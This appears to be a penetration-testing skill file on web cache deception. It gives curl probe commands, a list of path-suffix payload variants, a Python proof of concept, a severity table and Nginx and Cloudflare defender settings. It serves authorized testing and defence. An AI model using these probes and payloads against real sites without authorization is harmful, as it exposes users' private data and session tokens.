| name | cache-deception |
| description | Web cache deception — trick CDN/proxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor. |
| metadata | {"when_to_use":"cache deception cdn cloudfront cloudflare akamai cache poisoning path-normalization","mitre_attack":"T1565","subdomain":"cache","upstream_ref":"skills/_corpus/payloads/Web Cache Deception/"} |
Web Cache Deception
Reverse proxies / CDNs cache based on URL extension or path patterns
(.css, .jpg, /static/). If the origin server returns the
authenticated page for any path, attacker tricks the cache into storing
private content under a public-cacheable URL.
1. The classic
GET /account.css ← attacker visits, in their own session
Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
Cache stores response keyed on /account.css
GET /account.css ← victim or any unauth visitor
Cache HIT → serves the attacker-cached, victim-data response
2. Probe the deception
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies
If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.
3. Variants
| Variant | Path |
|---|
.css suffix | /account/foo.css |
.jpg suffix | /account.jpg |
/static/ prefix | /static/../account |
| Multiple slashes | /account//.css |
URL-encoded ; | /account%3B.css |
| Trailing semi-segment | /account;foo.css |
| Double extension | /account.html.css |
| Path parameter | /account.css/anything |
Each cache impl handles these differently. Cloudflare / Fastly / Akamai
/ Varnish all have known quirks.
4. Cache poisoning vs cache deception
- Deception — attacker forces cache of victim's data, served to others
- Poisoning — attacker injects content into a normal cached resource
This skill covers deception. Cache poisoning is a separate (overlapping) class.
5. Tools
- Param Miner (Burp plugin) — unkeyed param discovery
webcache.cyberxecution.com for quick suffix probes
- Manual via Burp Repeater
6. PoC
import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text
7. Severity
| Bug | Severity |
|---|
| Cache deception exposing PII (email, name, balance) | Critical 8-9 |
| Cache deception of session token | Critical 9.8 (ATO) |
| Cache deception of public-only data | Informational |
| Cache poisoning of script content | Critical 9.0 (RCE-adjacent in browser context) |
8. Defender
# Nginx — prefix-based cache keys, NOT extension-based
location / {
proxy_pass http://origin;
proxy_cache_key "$scheme$proxy_host$uri";
add_header Cache-Control "private, no-store" always;
}
# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension
Apps should send Cache-Control: private, no-store on every authenticated
response to defeat both deception and poisoning.
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Web Cache Deception/
- Smuggling overlap:
skills/exploit/web/smuggling.md
Known exemplars
- Omer Gil's original PayPal disclosure (2017)
- Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS
- 2023: notable Stripe disclosure of cache deception leading to PII leak